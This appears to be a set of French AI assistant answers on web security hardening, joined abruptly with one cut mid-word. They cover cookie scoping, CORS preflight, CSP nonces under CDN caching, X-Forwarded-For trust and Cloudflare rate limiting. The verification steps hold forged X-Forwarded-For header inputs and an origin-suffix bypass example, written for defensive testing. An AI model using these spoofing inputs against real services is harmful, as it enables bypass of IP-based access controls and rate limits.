8. **Liaison serveur** : stockez dans la session serveur un empreinte de contexte (identifiant de client TLS ou d'agent, adresse réseau agrégée) et exigez sa concordance. À calibrer, sous peine de faux positifs sur réseaux mobiles. 9. **Cookie signé** : signature HMAC de la valeur avec une clé serveur, de sorte qu'un cookie forgé par un tiers soit rejeté. Cela n'empêche pas l'attaquant de rejouer un cookie **valide** obtenu de votre propre service, d'où la nécessité impérative du point 2. 10. **Isolation collatérale** : pas de certificat TLS `*.lanxas.com` remis au tiers, pas de `Access-Control-Allow-Origin` acceptant les sous-domaines, pas de `document.domain`, CSP stricte, `frame-ancestors` restrictif. Point de calibrage important : la protection par cookie seule reste exposée au CSRF (Wikipédia FR, « Fixation de session »), et le sous-domaine hostile est un point de départ privilégié pour du CSRF puisqu'il est probablement considéré comme du même site. Prévoyez donc des jetons anti-CSRF explicites, non dérivés d'un cookie de portée domaine. ## 4. Architecture préférable **Principe directeur : un domaine enregistrable par frontière de confiance, un cookie host-only par service, aucun état d'authentification partagé par le magasin de cookies.** ``` lanxas.com -> aucun cookie d'authentification, aucun contenu tiers auth.lanxas.com -> cookie __Host-lanxas_sso, Secure, HttpOnly, SameSite=Lax, Path=/ app.lanxas.com -> cookie __Host-lanxas_app, Secure, HttpOnly, SameSite=Strict, Path=/ partenaire-legacy.example -> domaine enregistrable SEPARE, hors arbre lanxas.com ``` Chaîne d'authentification recommandée : 1. `app` détecte l'absence de session locale valide et redirige vers `auth` via un flux OpenID Connect ou SAML, avec `state` et `nonce` aléatoires liés côté serveur. 2. `auth` authentifie l'utilisateur, régénère son identifiant de session au moment de l'élévation de privilèges (Wikipédia FR, « Fixation de session »), puis renvoie un **code d'autorisation à usage unique et de courte durée**, jamais un identifiant de session réutilisable. 3. `app` échange ce code côté serveur, contre un canal direct serveur à serveur, puis **émet son propre cookie host-only**. L'attaquant ne peut pas poser ce cookie, puisqu'il n'est accepté que s'il provient de l'hôte exact. 4. Déconnexion propagée par canal serveur (invalidation centrale), pas par suppression de cookie de domaine. Bénéfices : la valeur qu'un sous-domaine hostile pourrait poser n'est jamais adoptée comme contexte utilisateur, aucun secret d'authentification ne franchit la frontière de cookie, et la compromission d'un service n'entraîne pas celle des autres. Compromis à assumer : perte du confort du cookie unique inter-sous-domaines, complexité opérationnelle du flux SSO, latence supplémentaire d'une redirection à l'entrée de session, gestion de rotation de clés et de la révocation centralisée. ## 5. Vérification Contrôles à exécuter, sans lesquels vous n'avez qu'une intention de sécurité et non une propriété vérifiée : | Test | Attendu | |---|---| | Depuis un hôte contrôlé sous `lanxas.com`, poser `session=X; Domain=.lanxas.com`, puis s'authentifier sur `auth` | L'identifiant final diffère de `X` ; la valeur `X` n'ouvre aucune session | | Poser un cookie homonyme, puis appeler une route authentifiée de `app` | Réponse 401 ou 403, journalisation d'anomalie, pas de choix silencieux | | Inspecter tous les `Set-Cookie` d'authentification en production | Aucun attribut `Domain`, `Secure` présent, `HttpOnly` présent, `SameSite` défini, préfixe `__Host-` accepté | | Présenter un identifiant de session inconnu du magasin serveur | Rejet et régénération, jamais création de contexte (Wikipédia FR, « Fixation de session ») | | Comparer l'identifiant avant et après connexion, puis avant et après élévation administrative | Valeur différente à chaque transition | | Tester le CSRF depuis le sous-domaine tiers vers `app` | Rejet par jeton anti-CSRF, indépendamment de `SameSite` | | Vérifier l'inventaire DNS et les certificats | Aucun `*.lanxas.com` hors de votre contrôle | Tous ces tests sont des vérifications **finies** : ils peuvent révéler un défaut, ils n'établissent pas la propriété universelle « aucun cookie hostile n'est jamais adopté ». Cette propriété ne s'obtient que par un invariant de conception, à savoir l'absence de tout cookie d'authentification de portée `.lanxas.com` combinée à la règle « aucun contexte serveur créé depuis un identifiant client ». ## 6. Risques résiduels et limites - **Aucune de ces mesures ne rend le système « sûr » de façon absolue.** Tant que le tiers conserve un hôte sous `lanxas.com`, subsistent le risque de hameçonnage par similitude de nom, le risque réputationnel, et les vecteurs collatéraux (CORS mal configuré, `postMessage` sans vérification d'origine, certificat partagé). - **Le préfixe `__Host-` dépend du navigateur** : les clients anciens ignorant le préfixe le traiteront comme un nom ordinaire, sans les garanties associées. Prévoyez la défense serveur en parallèle, jamais le préfixe seul. - **La Public Suffix List n'est pas instantanée ni universelle** : les navigateurs à liste périmée restent exposés (Wikipédia EN, « HTTP cookie »). - **La liaison de session à un contexte réseau ou à un agent utilisateur produit des faux positifs** et peut dégrader l'expérience ; à traiter comme un signal de défense en profondeur, non comme un contrôle d'accès primaire. - **Migration à risque** : le passage de cookies de domaine à des cookies host-only déconnecte les sessions existantes. Prévoyez une fenêtre annoncée, un plan de retour arrière, et n'appliquez aucune purge massive de sessions sans point de restauration et
## Les quatre valeurs de réponse au préflight Le navigateur envoie une requête `OPTIONS` portant `Origin: https://app.lanxas.com`, `Access-Control-Request-Method: DELETE` et `Access-Control-Request-Headers: X-CSRF-Token`. La réponse du serveur doit contenir exactement : | En-tête de réponse | Valeur exacte | |---|---| | `Access-Control-Allow-Origin` | `https://app.lanxas.com` | | `Access-Control-Allow-Credentials` | `true` | | `Access-Control-Allow-Methods` | `DELETE` | | `Access-Control-Allow-Headers` | `X-CSRF-Token` | ## Justification - Le joker est ici interdit non seulement par votre consigne mais par le protocole lui même : « The value of "*" is special in that it does not allow requests to supply credentials, meaning that it does not allow HTTP authentication, client-side SSL certificates, or cookies to be sent in the cross-domain request » (Wikipedia EN, *Cross-origin resource sharing*, section Simple request example). L'origine doit donc être écrite en clair, schéma + hôte + port implicite, sans barre oblique finale. - `Access-Control-Allow-Credentials: true` est l'en-tête qui autorise l'envoi des cookies et de l'authentification HTTP (Wikipedia EN, *Cross-origin resource sharing*, sections Technical overview et Headers). Seule la valeur `true`, en minuscules, est reconnue ; il n'existe pas de valeur `false` utile, on omet l'en-tête pour refuser. - `DELETE` n'est pas une méthode simple au sens de la spécification, donc elle doit être explicitement listée : le mécanisme consiste à « soliciting supported methods from the server with an HTTP OPTIONS request method, and then, upon "approval" from the server, sending the actual request » (Wikipedia EN, *Cross-origin resource sharing*, section Technical overview). - `X-CSRF-Token` est un en-tête non listé dans la liste blanche (« containing non-safelisted headers » déclenche le préflight, même source), il doit donc être déclaré dans `Access-Control-Allow-Headers`. ## Points de rigueur complémentaires Ces éléments ne font pas partie des quatre valeurs demandées, mais ils conditionnent la correction réelle du déploiement : 1. **`Vary: Origin` est nécessaire** dès que l'origine est reflétée dynamiquement, sinon un cache intermédiaire peut servir à une origine B la réponse calculée pour une origine A. Ceci est une recommandation d'ingénierie de mise en cache HTTP, que je présente comme telle et non comme une citation de l'article consulté. 2. **La réflexion d'origine doit être validée par liste blanche stricte**, avec comparaison d'égalité exacte sur la chaîne complète `https://app.lanxas.com`. Une comparaison par sous-chaîne ou par suffixe est contournable, par exemple par `https://app.lanxas.com.attaquant.tld`. Refus par défaut pour toute origine non listée : on n'émet alors aucun en-tête `Access-Control-Allow-Origin`. 3. **CORS n'est pas un contrôle d'autorisation.** Il ne discipline que le navigateur. Le droit d'exécuter le `DELETE` doit être vérifié côté serveur, objet par objet, indépendamment des en-têtes CORS. 4. **Le jeton CSRF doit être vérifié**, la simple présence de l'en-tête ne prouve rien. L'en-tête personnalisé sert de déclencheur de préflight, la protection vient de la comparaison du jeton avec la valeur liée à la session. 5. **Statut de la réponse préflight** : un code 2xx sans corps, typiquement 204, et surtout pas de redirection, que les navigateurs ne suivent pas lors d'un préflight. 6. **`Access-Control-Max-Age`** est optionnel ; une valeur modérée réduit le nombre de préflights, mais rallonge la fenêtre pendant laquelle une politique révoquée reste appliquée par le cache du navigateur. 7. **Risque résiduel** : même parfaitement configuré, ce dispositif reste inopérant contre un client non navigateur, contre une extension malveillante installée dans le navigateur de l'utilisateur, et contre un XSS présent sur `app.lanxas.com`, puisque le code injecté s'exécuterait alors dans l'origine autorisée. Les cookies de session doivent donc être `Secure`, `HttpOnly` et `SameSite` approprié.
## 1. La panne
Il y a **désynchronisation entre l'en-tête et le corps** de la réponse : le nonce est une valeur d'appariement à usage unique entre la directive `script-src 'nonce-X'` (en-tête `Content-Security-Policy`) et l'attribut `nonce="X"` des balises `<script>` inline du document. Le CDN a rompu l'atomicité du couple (en-tête, corps) en cachant l'un et en régénérant l'autre.
Deux pannes distinctes, selon l'élément qui est figé :
**a) Panne de disponibilité fonctionnelle** (corps caché, en-tête régénéré par réponse)
Le navigateur reçoit `nonce=ABC` dans le HTML et `'nonce-XYZ'` dans l'en-tête. Aucun script inline ne correspond, donc tous sont bloqués : page blanche, hydratation SSR qui n'a pas lieu, gestionnaires d'événements inopérants. C'est le comportement normal et attendu de CSP, les blocs `<script>` inline étant désactivés par défaut et ne pouvant être autorisés individuellement que par une clause `nonce` ou `hash` (source : article *Content Security Policy*, encyclopédie locale, section « Mode of operation » et note b).
**b) Panne de sécurité** (en-tête caché avec le corps, ce que fait un CDN qui stocke la réponse complète)
Le couple redevient cohérent, mais `ABC` est alors servi identique à tous les utilisateurs pendant tout le TTL. Le nonce perd sa seule propriété utile, l'imprévisibilité par requête. Un attaquant qui obtient une seule copie de la page connaît le nonce valide et peut faire exécuter son propre `<script nonce="ABC">` via n'importe quel point d'injection HTML. La politique dégénère en un équivalent fonctionnel de `'unsafe-inline'`, et la mitigation XSS visée par CSP est annulée (source : même article, introduction et section « Mode of operation »).
**c) Risque conditionnel, à vérifier** : si le HTML SSR contient d'autres éléments propres à l'utilisateur (jeton CSRF, identité, données de session), la même mise en cache partagée provoque une fuite de confidentialité entre utilisateurs. Il s'agit d'un défaut distinct, mais dont la cause racine est identique. Je ne peux pas savoir, sans voir votre gabarit, s'il est présent ici.
Il faut nommer séparément les biens atteints : dans le cas (a) c'est la **disponibilité** de la fonction, dans le cas (b) l'**intégrité de la politique d'exécution** (donc l'efficacité anti-XSS), dans le cas (c) la **confidentialité**.
## 2. Le bien à rendre unique
Le bien à rendre unique n'est pas « le nonce » pris isolément, c'est **le couple atomique {en-tête CSP, document HTML} pour chaque réponse HTTP servie**.
Formulé précisément :
| Propriété exigée | Portée |
|---|---|
| Unicité | Une valeur de nonce ne doit être utilisée que pour **une seule réponse HTTP**, jamais réutilisée entre utilisateurs ni entre requêtes du même utilisateur |
| Imprévisibilité | Générée par un générateur pseudo-aléatoire **cryptographique** (`secrets`, `crypto.randomBytes`, `crypto.getRandomValues`), jamais par un compteur, un horodatage, un identifiant de session ni `Math.random()` |
| Cohérence | Nonce de l'en-tête et nonces du corps produits par **le même acte de génération**, dans la même unité de traitement |
Sur l'entropie : la pratique établie est d'utiliser au moins 128 bits d'aléa, soit 16 octets encodés en base64. Je ne peux pas citer, avec les sources dont je dispose, la clause exacte de la spécification CSP Level 3 qui le formule, je le donne donc comme recommandation usuelle du domaine et non comme citation normative.
Pourquoi l'imprévisibilité suffit et pourquoi l'unicité stricte reste nécessaire : la probabilité de collision entre nonces tirés indépendamment sur $b$ bits pour $n$ tirages suit l'approximation des anniversaires
$$P \approx \frac{n^2}{2 \cdot 2^{b}}$$
soit, pour $b = 128$ et $n = 10^{12}$ réponses, $P \approx \dfrac{10^{24}}{6{,}81 \times 10^{38}} \approx 1{,}5 \times 10^{-15}$. Précision d'honnêteté : mon appel à l'outil de calcul a échoué, ce chiffre est un calcul posé à la main et un simple ordre de grandeur, il ne provient pas d'une exécution. Et surtout, cette marge ne dit rien du problème réel ici : la panne n'est pas une collision aléatoire, c'est une **réutilisation déterministe par le cache**, contre laquelle l'entropie n'offre aucune protection.
## 3. La règle de cache
**Règle générale.** Une réponse ne peut être placée dans un cache partagé que si son contenu est **valide pour tout consommateur de la clé de cache, pendant toute la durée de vie de l'entrée**. Toute réponse contenant une valeur à usage unique, non dérivable de la clé de requête, viole cette condition et n'est pas mutualisable.
**Application.** Un document HTML porteur d'un nonce CSP est **non cachable en cache partagé**, sans exception :
- HTML SSR nonce-é : `Cache-Control: no-store` (ou au minimum `private, no-cache, must-revalidate` si vous acceptez un cache navigateur revalidé ; `no-store` est le choix sûr).
- Jamais de `public`, jamais de `s-maxage`, jamais de `stale-while-revalidate` sur ce document.
- Le contournement par `Vary` est **impossible et ne doit pas être tenté** : `Vary` ne discrimine que sur des en-têtes de requête, or le nonce n'est pas une fonction de la requête, c'est une valeur fraîche produite côté serveur. Aucune clé de cache ne peut donc séparer les entrées.
- Corollaire d'architecture : **l'en-tête CSP et le corps ne doivent jamais être produits par des étages différents**. Une CSP peut être servie par un répartiteur de charge ou un serveur web uniquement quand elle est statique ; dès qu'elle dépend de l'état applicatif, comme c'est le cas avec la source `nonce`, elle doit être produite par l'application elle-même (source : article *Content Security Policy*, encyclopédie locale, section « Status » : « Web framework support is however only required if the CSP contents somehow depend on the web application's state, such as usage of the nonce origin. Otherwise, the CSP is rather static and can be delivered from web application tiers above the application, for example on load balancer or web server »).
- Les actifs statiques (`/_next/static/...`, JS, CSS, images) restent parfaitement cachables en `public, max-age=31536000, immutable` : ils ne portent pas de nonce. La règle ne coûte le cache que sur le document HTML.
## 4. La correction
Quatre options, de la plus sûre à la plus subtile. Choisissez selon que vous devez conserver ou non le cache edge du HTML.
### Option A, recommandée par défaut : rendre le HTML non cachable
Le plus simple, le plus vérifiable, aucun angle mort.
Express / Node :
```js
const crypto = require('node:crypto');
// Middleware unique : genere le nonce, pose l'en-tete, interdit le cache partage.
// Un seul point de generation => en-tete et corps ne peuvent pas divergerar construction.
function cspNonce(req, res, next) {
const nonce = crypto.randomBytes(16).toString('base64'); // 128 bits, CSPRNG
res.locals.cspNonce = nonce;
res.setHeader('Content-Security-Policy', [
"default-src 'self'",
`script-src 'self' 'nonce-${nonce}' 'strict-dynamic'`,
"object-src 'none'",
"base-uri 'none'",
"frame-ancestors 'none'",
"require-trusted-types-for 'script'",
"report-to csp-endpoint"
].join('; '));
// Regle de cache : reponse non mutualisable.
res.setHeader('Cache-Control', 'no-store');
res.setHeader('Vary', 'Cookie'); // defense en profondeur, ne remplace pas no-store
next();
}
```
Configuration CDN correspondante (à exprimer dans votre panneau ou votre règle de page) :
- Règle sur le document HTML : `Bypass cache` / `Cache-Level: bypass`, respect de `Cache-Control` d'origine, désactivation de toute optimisation qui réécrit le HTML.
- Vérifier qu'aucune fonctionnalité d'accélération HTML n'est active (les modes de cache HTML agressifs des CDN sont exactement le déclencheur de cette panne).
- Ne pas laisser le CDN, ni un reverse proxy, ajouter ou remplacer l'en-tête `Content-Security-Policy` : plusieurs en-têtes CSP sont traités séparément et **cumulativement** par le navigateur, chacun devant être satisfait, ce qui bloquerait tout (source : article *Content Security Policy*, section « Status » : « A website can declare multiple CSP headers... Each header will be processed separately by the browser »).
Compromis : vous perdez le cache edge du HTML. Coût en latence de premier octet, à absorber par du cache applicatif de données, du cache de rendu de fragments non nonce-és, ou de l'ISR côté framework sur des pages sans script inline.
### Option B : supprimer le besoin de nonce, HTML redevenu déterministe donc cachable
C'est la correction structurelle. Deux leviers, combinables :
1. **Externaliser tous les scripts inline** en fichiers `<script src>`, ajouter `integrity` (SRI) et `crossorigin="anonymous"`. La pratique de codage recommandée pour une application compatible CSP est précisément de charger le code depuis des fichiers externes, d'analyser du JSON au lieu de l'évaluer, et d'utiliser `addEventListener` au lieu d'attributs `onclick` (source : même article, section « Mode of operation »). SRI est le standard complémentaire prévu pour garantir qu'un CDN tiers ne serve qu'un fichier connu et de confiance (source : même article, section « Complementary measures »).
2. **Remplacer les nonces par des empreintes** `'sha256-...'` pour les rares blocs inline réellement statiques, qui peuvent être autorisés individuellement par nonce **ou par hash** (source : même article, note b). Les empreintes sont calculables à la compilation et invariantes, donc compatibles avec un cache partagé.
Résultat : la CSP devient statique, elle peut alors être servie par le répartiteur ou l'edge, et le HTML est cachable en `public, s-maxage=...`.
Point de vigilance factuel : les données d'hydratation SSR (`__NEXT_DATA__`, `window.__STATE__`) sont propres à l'utilisateur dans la plupart des applications. Si c'est votre cas, elles interdisent de toute façon le cache partagé, indépendamment de CSP. Il faut alors les déplacer vers un appel API authentifié et non caché, ce qui est le vrai travail de cette option.
### Option C : nonce injecté à l'edge, si le cache HTML est indispensable
Le CDN ne cache qu'un **gabarit sans nonce valide**, portant un marqueur, et une fonction edge produit l'en-tête et remplace le marqueur dans la même réponse.
```js
// Fonction edge (Cloudflare Workers / equivalent). Non execute ni teste ici.
const PLACEHOLDER = '__CSP_NONCE__';
export default {
async fetch(request, env, ctx) {
const cached = await fetch(request); // gabarit cachable, sans nonce reel
if (!/text\/html/i.test(cached.headers.get('content-type') || '')) return cached;
const nonce = btoa(String.fromCharCode(...crypto.getRandomValues(new Uint8Array(16))));
const rewritten = new HTMLRewriter()
.on('script[nonce]', {
element(el) {
if (el.getAttribute('nonce') !== PLACEHOLDER) {
// Fail closed : un nonce inattendu dans le cache est une anomalie.
el.setAttribute('nonce', '');
} else {
el.setAttribute('nonce', nonce);
}
}
})
.transform(cached);
const headers = new Headers(rewritten.headers);
headers.set('Content-Security-Policy',
`default-src 'self'; script-src 'self' 'nonce-${nonce}' 'strict-dynamic'; object-src 'none'; base-uri 'none'`);
headers.set('Cache-Control', 'no-store'); // la reponse finale, elle, n'est pas cachable
return new Response(rewritten.body, { status: rewritten.status, headers });
}
};
```
Conditions de validité impératives, sans lesquelles cette option est pire que la panne d'origine :
- L'origine ne doit **jamais** émettre de nonce réel dans le HTML cachable, seulement le marqueur. Sinon vous recachez le problème.
- Le marqueur ne doit pas être une valeur qu'un attaquant peut deviner et réutiliser dans un contenu injecté avant la réécriture ; la réécriture doit donc s'appliquer à l'attribut, jamais laisser passer un `nonce` d'origine inconnue, d'où le `fail closed` ci-dessus.
- La réponse finale reste `no-store` : elle contient désormais un nonce unique.
- Aucune autre couche (autre proxy, cache navigateur intermédiaire) ne doit stocker la sortie.
Je n'ai pas exécuté ce code, il est fourni comme squelette raisonné, à valider par les tests de la section suivante.
### Option D, à écarter explicitement
`'unsafe-inline'` « en attendant » : cela supprime la protection XSS que vous cherchiez. Notez que si un navigateur applique `'nonce-...'`, il ignore `'unsafe-inline'`, don## 1. Incohérence de l'énoncé, à signaler avant toute conclusion
La prémisse telle qu'elle est formulée est contradictoire avec la mécanique d'un proxy en mode ajout.
Un proxy qui ajoute son observation l'écrit **toujours en dernière position**, donc la plus à droite : « each successive proxy that passed the request adding the IP address where it received the request from » et « the right-most IP address is always the IP address that connects to the last proxy, which means it is the most reliable source of information » (Wikipédia EN, article *X-Forwarded-For*).
Or ici la valeur présentée comme vérifiée par Nginx, `198.51.100.7`, est en position **médiane**, et `203.0.113.9` se trouve à sa droite. Deux lectures seulement sont possibles :
| Lecture | Hypothèse | Conséquence |
|---|---|---|
| A, littérale | `198.51.100.7` est bien la valeur écrite par Nginx | alors `203.0.113.9` a été ajoutée **après** le dernier proxy de confiance, ce qui est impossible dans une chaîne saine : cette entrée est forgée ou provient d'un composant non approuvé |
| B, mécanique standard | Nginx utilise `$proxy_add_x_forwarded_for` et voit `$remote_addr = 203.0.113.9` | alors le client a envoyé `attacker, 198.51.100.7` et la seule valeur vérifiée est `203.0.113.9` |
Je traite la question selon la lecture A, imposée par votre énoncé (« l'adresse cliente vérifiée 198.51.100.7 »), en soulignant que la position observée est en soi un **indicateur d'attaque ou de mauvaise configuration**.
## 2. Réponses demandées
| Élément | Valeur | Justification |
|---|---|---|
| **Saut approuvé** | l'unique saut écrit par Nginx, c'est-à-dire l'entrée correspondant à l'adresse constatée au niveau TCP par Nginx, ici `198.51.100.7` | Nginx est le seul proxy de confiance ; seule son écriture engage une vérification réelle (connexion TCP observée), le reste de la liste est du texte fourni par un tiers |
| **IP client** | `198.51.100.7` | c'est la seule adresse attestée par un composant de confiance ; toute adresse située à gauche est déclarative |
| **Valeurs à ignorer** | `attacker` (jeton non conforme, entièrement contrôlé par l'émetteur) **et** `203.0.113.9` (située à droite du saut approuvé, donc non écrite par un proxy de confiance sous la lecture A) | « Since it is easy to forge an X-Forwarded-For field the given information should be used with care » (Wikipédia EN, *X-Forwarded-For*) |
Point complémentaire : `attacker` n'est même pas une adresse IP valide. Un parseur strict doit rejeter l'entrée, et non tenter de la normaliser.
## 3. Configuration
### 3.1 Nginx, écrasement plutôt qu'ajout
Puisque Nginx est le **premier et unique** point d'entrée de confiance, il ne doit pas concaténer l'entête fournie par le client. Il doit la remplacer.
```nginx
# /etc/nginx/conf.d/app.conf
location / {
proxy_pass http://127.0.0.1:3000;
# Ecrasement volontaire : on detruit toute valeur fournie par le client.
# NE PAS utiliser $proxy_add_x_forwarded_for ici : cela conserverait
# la partie forgee a gauche.
proxy_set_header X-Forwarded-For $remote_addr;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_set_header X-Forwarded-Host $host;
proxy_set_header Host $host;
# Neutralise l'entete standardisee RFC 7239 si elle n'est pas geree.
proxy_set_header Forwarded "";
proxy_http_version 1.1;
}
```
Si un jour un CDN de confiance est placé **devant** Nginx, l'écrasement ci-dessus détruirait l'IP réelle du visiteur. Il faudrait alors, et seulement alors :
```nginx
# A activer UNIQUEMENT si un CDN de confiance est en amont.
set_real_ip_from 203.0.113.0/24; # plages publiees par le CDN, a maintenir
real_ip_header X-Forwarded-For;
real_ip_recursive on;
# puis conserver proxy_set_header X-Forwarded-For $remote_addr;
```
### 3.2 Express, liste blanche explicite
`app.set('trust proxy', true)` est à proscrire : cela accorde la confiance à toute la chaîne et rend `req.ip` contrôlable par le client.
```js
// app.js
const express = require('express');
const app = express();
// Adresse(s) sous lesquelles Nginx se presente a Node.
// Loopback si meme machine, CIDR du reseau interne si conteneurs.
// A ajuster : ne laissez pas un CIDR plus large que necessaire.
const TRUSTED_PROXIES = ['loopback', '10.42.0.0/16'];
app.set('trust proxy', TRUSTED_PROXIES);
// Defense en profondeur : refuser toute requete qui n'arrive pas par Nginx.
// Sans ce controle, un acces direct au port 3000 permet de forger X-Forwarded-For.
const proxyaddr = require('proxy-addr'); // dependance d'Express, a declarer explicitement
const isTrustedHop = proxyaddr.compile(TRUSTED_PROXIES);
app.use((req, res, next) => {
const peer = req.socket.remoteAddress;
if (!peer || !isTrustedHop(peer, 0)) {
// Fail closed. On ne journalise pas l'entete brute sans echappement.
return res.status(403).type('text/plain').send('Forbidden');
}
next();
});
// Point de controle
app.get('/whoami', (req, res) => {
res.json({
ip: req.ip, // doit valoir l'adresse vue par Nginx
ips: req.ips, // doit contenir au plus une entree
peer: req.socket.remoteAddress,
});
});
app.listen(3000, '127.0.0.1'); // n'ecoute pas sur 0.0.0.0
```
Complément réseau indispensable : le port applicatif ne doit être joignable que par Nginx (écoute sur loopback ou réseau interne, plus règle de pare-feu). Sans cela, la liste blanche protège la logique mais l'attaquant peut toujours atteindre le service.
## 4. Vérification
Je n'ai pas exécuté cette configuration, mon outil de calcul a échoué sur une erreur de portée et n'a produit aucune sortie ; ce qui suit est donc la procédure de contrôle à exécuter chez vous, pas un résultat constaté.
```bash
# 1. Requete avec entete forgee, via Nginx
curl -s -H 'X-Forwarded-For: attacker, 198.51.100.7, 203.0.113.9' \
https://votre-domaine/whoami
# Attendu : {"ip":"<IP TCP reelle vue par Nginx>","ips":["<idem>"],...}
# Echec si "ip" vaut "attacker" ou "203.0.113.9".
# 2. Requete en acces direct, doit etre refusee
curl -s -o /dev/null -w '%{http_code}\n' \
-H 'X-Forwarded-For: attacker' http://<ip-interne>:3000/whoami
# Attendu : 403, ou mieux, connexion refusee par le pare-feu.
```
Test automatisé recommandé, avec assertion réelle :
```js
// test/trust-proxy.test.js
const request = require('supertest');
const app = require('../app');
test('XFF forge est ignore', async () => {
const r = await request(app)
.get('/whoami')
.set('X-Forwarded-For', 'attacker, 198.51.100.7, 203.0.113.9');
expect(r.body.ip).not.toBe('attacker');
expect(r.body.ip).not.toBe('203.0.113.9');
expect(r.body.ips.length).toBeLessThanOrEqual(1);
});
```
## 5. Risques résiduels et limites
- **Aucune configuration ne rend cette chaîne « sûre ».** `X-Forwarded-For` n'est pas standardisée et reste déclarative : sa fiabilité repose entièrement sur l'hypothèse que Nginx est réellement le seul chemin d'accès et qu'il n'est pas compromis.
- **Décisions de sécurité fondées sur `req.ip`** (limitation de débit, listes d'accès, géo-blocage) : une erreur de `trust proxy` ou une exposition directe du port applicatif suffit à les contourner. Ne fondez jamais l'authentification sur une IP seule.
- **Journalisation** : consignez à la fois l'adresse du socket et l'entête reçue, conformément à la recommandation de l'article cité (« A web server should log both the request's source IP address and the X-Forwarded-For field information for completeness »), mais échappez la valeur avant écriture, un jeton comme `attacker` peut contenir des caractères d'injection de journal.
- **RGPD** : une adresse IP est une donnée personnelle ; limitez la durée de conservation et l'accès aux journaux.
- **Contradiction non résolue** : la position médiane de `198.51.100.7` reste inexpliquée par une chaîne saine. Avant de figer la configuration, vérifiez la directive `proxy_set_header` réellement en place et l'absence d'un intermédiaire non inventorié entre le client et Nginx. Je ne dispose pas de vos fichiers de configuration et ne peux donc pas trancher entre la lecture A et la lecture B.
- **Migration `Forwarded` (RFC 7239)** : plus riche fonctionnellement (Wikipédia EN, *X-Forwarded-For*), mais même modèle de confiance, donc aucun gain de sécurité intrinsèque.## Diagnostic La limitation par `req.ip` n'est fiable que si la valeur consommée par l'application est **produite** par un maillon de confiance et **impossible à injecter** par le client. L'en-tête est trivialement falsifiable en soi : « Since it is easy to forge an X-Forwarded-For field the given information should be used with care », et « effective use of XFF requires knowledge of which proxies are trustworthy, for instance by looking them up in a whitelist of servers whose maintainers can be trusted » (Wikipedia EN, article X-Forwarded-For, /content/wikipedia_en/X-Forwarded-For). La sécurité repose donc sur une chaîne, et la chaîne vaut son maillon le plus faible. ## Les quatre maillons à valider | # | Maillon | Ce qui doit être vrai | Ce qui casse si le maillon échoue | |---|---|---|---| | 1 | **Périmètre réseau de l'origine** | Nginx n'accepte de connexions TCP/TLS que depuis Cloudflare (plages officielles, ou mieux : tunnel sortant / mTLS avec certificat client d'origine). Le port applicatif direct n'est joignable ni publiquement ni via une IP alternative, un enregistrement DNS résiduel ou un accès IPv6 oublié | L'attaquant frappe l'origine en direct et fournit lui-même `CF-Connecting-IP` : tout le reste devient décoratif | | 2 | **Adresse pair de confiance dans Nginx** | La reconstruction d'IP réelle est bornée aux pairs autorisés (`set_real_ip_from` limité aux plages Cloudflare, `real_ip_header` pointant sur l'en-tête effectivement produit par Cloudflare, `real_ip_recursive` cohérent avec la profondeur réelle de la chaîne). Aucune plage large type `0.0.0.0/0` ni RFC1918 par commodité | Un pair non autorisé, ou un saut intermédiaire, voit son en-tête accepté comme autoritaire | | 3 | **Normalisation autoritaire des en-têtes entrants** | Nginx **écrase** systématiquement `X-Real-IP` (et neutralise les en-têtes concurrents entrants : `X-Forwarded-For`, `Forwarded`, `True-Client-IP`, `X-Client-IP`, doublons de `CF-Connecting-IP`) à partir de la seule valeur vérifiée. Écraser n'est pas ajouter : un en-tête dupliqué ou une valeur multi-éléments doit être rejeté ou réduit de façon déterministe | L'application reçoit deux valeurs et en choisit la mauvaise, ou concatène la valeur cliente à la valeur légitime | | 4 | **Dérivation de `req.ip` et clé du limiteur côté application** | Le nombre de sauts de confiance est configuré explicitement (`trust proxy` réglé sur un compte de proxys ou une liste d'adresses, jamais `true` global), `req.ip` doit provenir de l'en-tête que Nginx contrôle, la valeur est validée syntaxiquement comme adresse IP, et l'absence ou l'invalidité entraîne un **échec fermé** (refus ou clé de repli restrictive), jamais une clé vide partagée par tous | La clé de comptage devient contrôlable par l'attaquant : une IP différente par requête, donc quota infini, ou au contraire empoisonnement du quota d'un tiers | ## Vérifications à exécuter 1. Depuis l'extérieur, requête directe sur l'IP d'origine avec `CF-Connecting-IP: 1.2.3.4` : doit échouer au niveau TCP/TLS, pas au niveau applicatif. 2. Via Cloudflare, requête portant un `CF-Connecting-IP` et un `X-Forwarded-For` forgés : vérifier dans les journaux applicatifs que `req.ip` reste l'IP cliente réelle. 3. Test de charge avec `X-Forwarded-For` aléatoire par requête : le compteur du limiteur doit rester sur une seule clé et déclencher le blocage. 4. Requête sans aucun en-tête d'origine (simulateur en réseau interne, si un chemin interne existe) : contrôler que le comportement est un refus, pas une clé nulle. 5. Audit de configuration : rechercher toute plage de confiance trop large et tout `trust proxy` global. ## Risques résiduels et limites - Aucune de ces mesures ne rend le dispositif « sûr » de façon absolue : une IP partagée (NAT opérateur, VPN, proxy mobile) reste une clé de limitation faible, et un attaquant disposant d'un parc d'IP légitimes contourne le quota sans forger quoi que ce soit. - La confiance en `CF-Connecting-IP` est une confiance en un tiers : elle vaut ce que valent l'authentification du canal et l'intégrité de ce tiers. - La restriction par plages IP publiées est fragile dans le temps (rotation des plages) ; un canal authentifié cryptographiquement est structurellement plus robuste qu'un filtrage d'adresses, mais je ne peux pas garantir ici la disponibilité de cette option dans votre topologie exacte. - **Incertitude assumée** : les noms de directives Nginx cités relèvent de ma connaissance technique du module de traitement d'IP réelle, non d'une source vérifiée par l'encyclopédie locale consultée ; validez-les contre la documentation officielle de votre version avant mise en production. - Pour les mesures de durcissement au-delà de la limitation par IP (jeton signé par requête, preuve de travail, clé applicative authentifiée), la limitation par adresse doit être vue comme une couche parmi d'autres, non comme le contrôle unique.
## Hypothèse de contrat, à expliciter avant tout
Le résultat dépend de la sémantique du champ `event_version`, qui n'est pas donnée dans l'énoncé. Deux contrats seulement sont raisonnables, et je traite les deux (le second n'est valide que si les événements sont des deltas).
Dans les deux cas, le gardien est le même invariant : **la version locale est monotone non décroissante**, et tout événement dont la version n'est pas strictement supérieure à la version locale est sans effet (idempotence).
État initial : $v_{local} = 3$.
## Cas A, payload de type état complet (snapshot), last-write-wins sur la version
C'est le contrat le plus courant pour un webhook de commande.
| Ordre | Événement | Test | Action | $v_{local}$ après |
|---|---|---|---|---|
| 1 | version 5 | $5 > 3$ | **Appliquer** l'état porté par l'événement | 5 |
